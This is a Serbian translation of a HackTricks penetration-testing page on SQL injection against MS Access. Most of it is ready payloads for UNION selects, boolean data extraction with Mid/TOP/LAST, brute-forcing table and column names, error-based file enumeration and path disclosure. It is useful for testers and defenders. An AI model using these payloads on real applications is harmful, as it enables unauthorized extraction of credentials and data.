9.7 KiB
MS Access SQL Injection
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Online Playground
Ograničenja baze podataka
Spajanje stringova
Spajanje stringova je moguće koristeći znakove & (%26)
i + (%2b)
.
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
Komentari
Nema komentara u MS Access-u, ali izgleda da je moguće ukloniti poslednji deo upita pomoću NULL karaktera:
1' union select 1,2 from table%00
Ako ovo ne radi, uvek možete popraviti sintaksu upita:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
Nisu podržane.
LIMIT
Operator LIMIT
nije implementiran. Međutim, moguće je ograničiti rezultate SELECT upita na prvih N redova tabele koristeći operator TOP
. TOP
prihvata kao argument celobrojnu vrednost koja predstavlja broj redova koji će biti vraćeni.
1' UNION SELECT TOP 3 attr FROM table%00
Baš kao i TOP, možete koristiti LAST
koji će dobiti redove sa kraja.
UNION Upiti/ Podupiti
U SQLi-u obično želite na neki način izvršiti novi upit kako biste izvukli informacije iz drugih tabela. MS Access uvek zahteva da se u podupitima ili dodatnim upitima navede FROM
.
Dakle, ako želite izvršiti UNION SELECT
ili UNION ALL SELECT
ili SELECT
između zagrada u uslovu, uvek morate navesti FROM
sa validnim imenom tabele.
Stoga, morate znati validno ime tabele.
-1' UNION SELECT username,password from users%00
Spajanje jednakosti + Podstring
{% hint style="warning" %} Ovo će vam omogućiti da izvučete vrednosti trenutne tabele bez potrebe da znate ime tabele. {% endhint %}
MS Access dozvoljava čudnu sintaksu kao što je '1'=2='3'='asd'=false
. Kao i obično, SQL injection će biti unutar WHERE
klauzule i to možemo zloupotrebiti.
Zamislite da imate SQLi u MS Access bazi podataka i znate (ili ste pretpostavili) da je jedno ime kolone username, a to je polje koje želite izvući. Možete proveriti različite odgovore veb aplikacije kada se koristi tehnika spajanja jednakosti i potencijalno izvući sadržaj sa boolean injection korišćenjem funkcije Mid
za dobijanje podstringova.
'=(Mid(username,1,3)='adm')='
Ako znate ime tabele i kolonu koju želite da izvučete, možete koristiti kombinaciju funkcija Mid
, LAST
i TOP
da procurite sve informacije putem boolean SQLi:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
Slobodno proverite ovo u online igralištu.
Brute-forcing imena tabela
Koristeći tehniku lančanog jednako, takođe možete bruteforceovati imena tabela nečim poput:
'=(select+top+1+'lala'+from+<table_name>)='
Možete koristiti i tradicionalniji način:
-1' AND (SELECT TOP 1 <table_name>)%00
Slobodno proverite ovo u online igraonici.
- Sqlmap uobičajena imena tabela: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- Postoji još jedna lista na http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing imena kolona
Možete brute-force trenutna imena kolona pomoću trika sa lancem jednakosti sa:
'=column_name='
Ili sa group by klauzulom:
-1' GROUP BY column_name%00
Ili možete izvršiti brute-force napad na nazive kolona druge tabele pomoću:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
Dumpovanje podataka
Već smo razgovarali o tehnici spajanja jednakosti za dumpovanje podataka iz trenutnih i drugih tabela. Ali postoje i druge metode:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
Ukratko, upit koristi "if-then" izjavu kako bi pokrenuo "200 OK" u slučaju uspeha ili "500 Internal Error" u suprotnom. Iskorišćavanjem operatora TOP 10, moguće je izabrati prvih deset rezultata. Naknadna upotreba LAST omogućava razmatranje samo 10. tuple. Na takvoj vrednosti, korišćenjem operatora MID, moguće je izvršiti jednostavno poređenje karaktera. Pravilnom promenom indeksa MID i TOP, možemo izvući sadržaj polja "korisničko ime" za sve redove.
Vremenski bazirano
Ostale interesantne funkcije
Mid('admin',1,1)
dobija podstring sa pozicije 1 dužine 1 (početna pozicija je 1)LEN('1234')
dobija dužinu stringaASC('A')
dobija ASCII vrednost karakteraCHR(65)
dobija string iz ASCII vrednostiIIF(1=1,'a','b')
ako ondaCOUNT(*)
Broji broj stavki
Enumeracija tabela
Odavde ovde možete videti upit za dobijanje imena tabela:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
Međutim, imajte na umu da je vrlo tipično pronaći SQL Injection gde nemate pristup čitanju tabele MSysObjects
.
Pristup datotečnom sistemu
Puna putanja do web korenskog direktorijuma
Znanje o apsolutnoj putanji do web korenskog direktorijuma može olakšati dalje napade. Ako greške aplikacije nisu potpuno sakrivene, putanja direktorijuma može biti otkrivena pokušajem selektovanja podataka iz nepostojeće baze podataka.
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access odgovara porukom o grešci koja sadrži punu putanju do web direktorijuma.
Enumeracija datoteka
Sledeći vektor napada može se koristiti za utvrđivanje postojanja datoteke na udaljenom datotečnom sistemu. Ako navedena datoteka postoji, MS Access pokreće poruku o grešci koja obaveštava da je format baze podataka nevažeći:
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
Još jedan način za enumeraciju datoteka sastoji se u navođenju stavke baze podataka.tablica. Ako navedena datoteka postoji, MS Access prikazuje poruku o grešci formata baze podataka.
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
Pogađanje imena .mdb datoteke
Ime datoteke baze podataka (.mdb) može se utvrditi pomoću sledećeg upita:
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
Gde je name[i] ime .mdb datoteke i realTable postoji tabela u bazi podataka. Iako će MS Access uvek pokrenuti poruku o grešci, moguće je razlikovati između nevažećeg imena datoteke i važećeg imena .mdb datoteke.
.mdb Kradljivac lozinki
Access PassView je besplatni alat koji se može koristiti za pronalaženje glavne lozinke glavne baze podataka Microsoft Access 95/97/2000/XP ili Jet Database Engine 3.0/4.0.
Reference
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite oglašavanje vaše kompanije u HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.